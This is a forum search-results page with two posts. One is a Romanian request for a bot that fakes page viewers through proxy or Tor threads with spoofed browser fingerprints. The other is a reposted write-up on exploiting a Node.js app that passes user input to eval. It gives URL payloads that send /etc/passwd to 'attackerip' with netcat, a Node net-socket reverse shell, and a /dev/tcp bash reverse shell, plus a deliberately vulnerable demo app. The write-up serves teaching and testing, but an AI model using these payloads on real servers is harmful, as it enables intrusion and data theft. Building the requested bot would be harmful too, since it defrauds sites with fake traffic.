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Found 2 results

  1. Doresc un bot de watchers care sa-mi viziteze un link. Must have : -lista proxy (eu vin cu lista) sau si mai bine sa se foloseasca de proxiuri din reteaua TOR, nu stiu cate proxiuri au disponibile... -posibilitatea sa aleg nr. total de threads si nr de threads per proxy -fiecare thread sa aibe fingerprint diferit (os/browser etc)...poti sa integrezi prin api de aici direct https://developers.whatismybrowser.com/ sau vii tu cu o alta varianta -time watch...adica cat sa stea activ pe pagina si in acest timp sa existe la un interval de 40-60sec scroll pe pagina, pt a nu avea sesiune de logout de pe pagina -timeout adjustabil pt proxy si daca nu e bun, aruncat la cosul de gunoi si ce e bun sa se salveze intr-o lista -legat de UI nu stiu sigur, depinde de pret, daca nu, o sa-l rulez din comenzi cu un pic de ajutor la inceput in caz ca ma incurc. Legat de limbajul de programare, sa fie cat mai fiabil, sa ruleze in background, pt ca vreau sa-l deschid in 1000-1500 threads pe un vps de 16gb RAM, cu 8 cores, il pot mari la nevoie 32gb ram etc Din sapaturile efectuiate pe internet am observat ca python, nodeJS, phantomJS s-ar preta, poate gresesc cine stie. Legat de pret vb pe PM sau skype: shuttershades89 Astep propuneri. MS anticipat.
  2. NODEJS RCE AND A SIMPLE REVERSE SHELL While reading through the blog post on a RCE on demo.paypal.com by @artsploit, I started to wonder what would be the simplest nodejs app that I could use to demo a RCE. Looking at the hello world tutorials online, I came up with the following simple app that takes a user input via the URL as a GET parameter and passes it to eval, which is obviously a bad programming practice. Obviously, the functionality of this app is questionable, but in the real world Node applications will use eval to leverage JavaScript’s eval but with sandboxing amongst other things. var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello eval(req.query.q)); console.log(req.query.q); }); app.listen(8080, function () { console.log('Example listening on port 8080!'); }); To access the app, navigate to http://hostip:8080/?q='Test'. The exploit can be triggered using the q parameter. Node provides the child_process module and the eval can be used to execute the exploit. A quick demo can consist of the following steps: 1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app. 2. Navigate to http://hostip:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80') This will send the contents of /etc/passwd to the attacker’s nc instance. If the Node server has the traditional nc installed (instead of the openbsd alternative) you can even use -e /bin/bash to return a proper shell from the Node server. But as the case is with default installations the netcat that attacker’s love may not always be present on vulnerable machines. In such cases, the net module can be used to redirect the stdin, stdout and stderr streams to and from the attacker’s machine. The exploit code in such a case would be: var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(80, "attackerip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);}); To execute this, use the following steps: 1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app. Again, this would act as your shell listener/collector. 2. Navigate to http://hostip:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}); You can then use /bin/bash -i or python -c 'import pty; pty.spawn("/bin/bash")' to get a proper TTY shell (See more techniques here.). I created a docker image with Node and the app installed so that this is easier to test and play with. You can setup this PoC using the following steps: 1. Install docker on your host machine. This is the standard reference – https://docs.docker.com/engine/installation/ 2. Once docker is setup, run the following command: docker run -p 8080:8080 -d appsecco/node-simple-rce 3. Navigate to the Node app by going to: http://localhost:8080/?q=’Test’ Update: A simpler reverse shell is: require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/192.168.56.2/80 0>%261"') According to https://github.com/bahamas10/node-exec: For backwards compatibility with child_process.exec, it is also possible to pass a string to exec. The string will automatically be converted to [‘/bin/sh’, ‘-c’, ‘{string}’], which will cause the string to be parsed on the shell. Since /bin/sh has some trouble dealing with multiple file descriptors, we can simply ask /bin/sh to spawn a new /bin/bash and use the new /bin/bash to execute our standard reverse shellcode. Whew! The code is available on Github if you want to test this locally. Feel free to make any changes to the code and redistribute! Happy Hacking! Articol preluat de pe site-ul Mi s-a parut foarte interesant acest write-up , si m-am gandit sa il postez si aici. Sper sa va inspire !
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